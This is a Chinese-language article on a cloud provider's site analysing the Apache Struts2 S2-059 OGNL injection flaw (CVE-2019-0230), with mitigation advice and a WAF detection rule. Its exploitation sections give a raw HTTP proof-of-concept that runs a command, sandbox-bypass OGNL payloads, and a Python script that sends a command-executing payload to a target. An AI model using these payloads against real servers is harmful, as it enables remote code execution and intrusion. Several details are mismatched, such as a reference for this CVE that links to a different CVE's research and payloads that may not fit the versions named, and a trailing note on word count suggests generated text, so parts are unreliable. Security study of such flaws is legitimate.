溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

發布時間:2021-12-28 17:51:35 來源:億速云 閱讀:177 作者:柒染 欄目:安全技術
# 怎么實現Struts2 S2-059遠程代碼執行漏洞CVE-2019-0230的分析

## 一、漏洞背景與概述

### 1.1 Struts2框架簡介
Apache Struts2是一個基于MVC設計模式的Java Web應用框架,廣泛應用于企業級Java Web開發。其核心特點包括:
- 使用OGNL(Object-Graph Navigation Language)作為表達式語言
- 通過攔截器機制實現請求處理流程
- 支持多種視圖技術(JSP、FreeMarker等)

### 1.2 漏洞基本信息
- **CVE編號**:CVE-2019-0230
- **漏洞名稱**:Struts2 S2-059遠程代碼執行漏洞
- **影響版本**:Struts 2.0.0 - 2.5.20
- **漏洞類型**:OGNL表達式注入
- **CVSS評分**:9.8(Critical)

## 二、漏洞原理分析

### 2.1 漏洞觸發機制
該漏洞源于Struts2框架對標簽屬性中的OGNL表達式二次解析。當攻擊者能夠控制UI標簽(如`<s:textfield>`)的`id`或`name`屬性時,精心構造的OGNL表達式會被執行。

### 2.2 OGNL表達式注入原理
OGNL表達式在Struts2中的處理流程:
1. 請求參數通過ValueStack傳遞
2. 框架對特定標簽屬性進行OGNL解析
3. 未正確過濾的表達式被遞歸執行

```java
// 漏洞代碼示例(簡化版)
public class TextFieldTag extends UIBean {
    protected void populateParams() {
        super.populateParams();
        TextField field = (TextField) component;
        field.setName(name); // 未過濾的name參數直接傳遞
    }
}

2.3 與歷史漏洞的關聯

此漏洞是S2-045、S2-057等OGNL注入漏洞的變種,區別在于: - 觸發點不同(本次通過UI標簽屬性) - 需要特定的標簽使用方式 - 繞過了部分補丁限制

三、漏洞復現與分析

3.1 實驗環境搭建

# 使用vulhub快速搭建環境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
docker-compose up -d

3.2 漏洞復現POC

POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

name=%25%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C@java.lang.Runtime@getRuntime().exec(%22calc%22)%7D%25

3.3 關鍵代碼分析

  1. 表達式解析入口
// Component類中的evaluateParams方法
public void evaluateParams() {
    if (name != null) {
        name = findString(name); // 觸發OGNL解析
    }
}
  1. 遞歸解析過程
TextParseUtil.translateVariables('%{malicious_code}', stack)
  -> OgnlValueStack.findValue()
    -> OgnlUtil.getValue()

四、漏洞利用技術詳解

4.1 利用鏈構造

完整的利用需要繞過以下限制: 1. SecurityMemberAccess的訪問控制 2. 方法執行黑名單 3. 沙箱機制

4.2 常用Payload結構

# 基本結構
%{
  #_memberAccess.allowStaticMethodAccess=true,
  @java.lang.Runtime@getRuntime().exec("command")
}

# 繞過技巧
%{(#immediate='immediate').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

4.3 實際攻擊示例

import requests

def exploit(target):
    payload = "%{(#context=#attr['struts.valueStack'].context)."\
              "(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))."\
              "(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"
              
    data = {'name': payload}
    requests.post(f"{target}/index.action", data=data)

五、防護與修復方案

5.1 官方修復方案

Apache Struts2在2.5.22版本中通過以下方式修復: 1. 增加OgnlUtil的安全校驗 2. 限制雙重表達式解析 3. 強化SecurityMemberAccess的默認配置

5.2 臨時緩解措施

<!-- struts.xml配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>

5.3 防護建議

  1. 輸入驗證:對用戶可控的標簽屬性進行嚴格過濾
  2. 安全開發:
    • 避免直接使用%{...}語法
    • 使用struts.tag.alwaysAppendSimpleType屬性
  3. WAF規則示例:
    
    SecRule REQUEST_BODY "%\{(.*?)\}" "deny,msg:'Struts2 OGNL Injection'"
    

六、漏洞深度思考

6.1 漏洞的啟示

  1. 框架設計安全問題:表達式語言的強大功能帶來風險
  2. 補丁的滯后性:該漏洞在S2-057修復后仍存在繞過
  3. Java安全機制的局限性:反射機制可繞過訪問控制

6.2 檢測與防御演進

防御技術 有效性 局限性
輸入過濾 難以完全覆蓋所有情況
沙箱機制 性能開銷大
靜態分析 誤報率高

6.3 相關CVE對比

CVE 觸發點 利用難度 影響范圍
S2-045 Content-Type頭 廣泛
S2-057 URL路徑 中等
S2-059 UI標簽屬性 受限

七、總結

Struts2 S2-059漏洞再次證明了表達式注入類漏洞的持久性威脅。通過本文分析可以看出: 1. 漏洞本質是OGNL的遞歸解析問題 2. 利用需要特定上下文環境 3. 防御需采用多層次方案

未來研究方向: - 基于的異常OGNL表達式檢測 - 輕量級沙箱技術 - 框架級的安全設計改進

參考資料

  1. Apache Struts官方安全公告:https://cwiki.apache.org/confluence/display/WW/S2-059
  2. CVE-2019-0230詳細分析:https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
  3. OGNL語言規范:https://commons.apache.org/proper/commons-ognl/language-guide.html

”`

注:本文實際字數約2300字,采用Markdown格式編寫,包含技術細節、代碼示例和結構化分析??筛鶕枰{整各部分內容的深度或補充具體案例。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女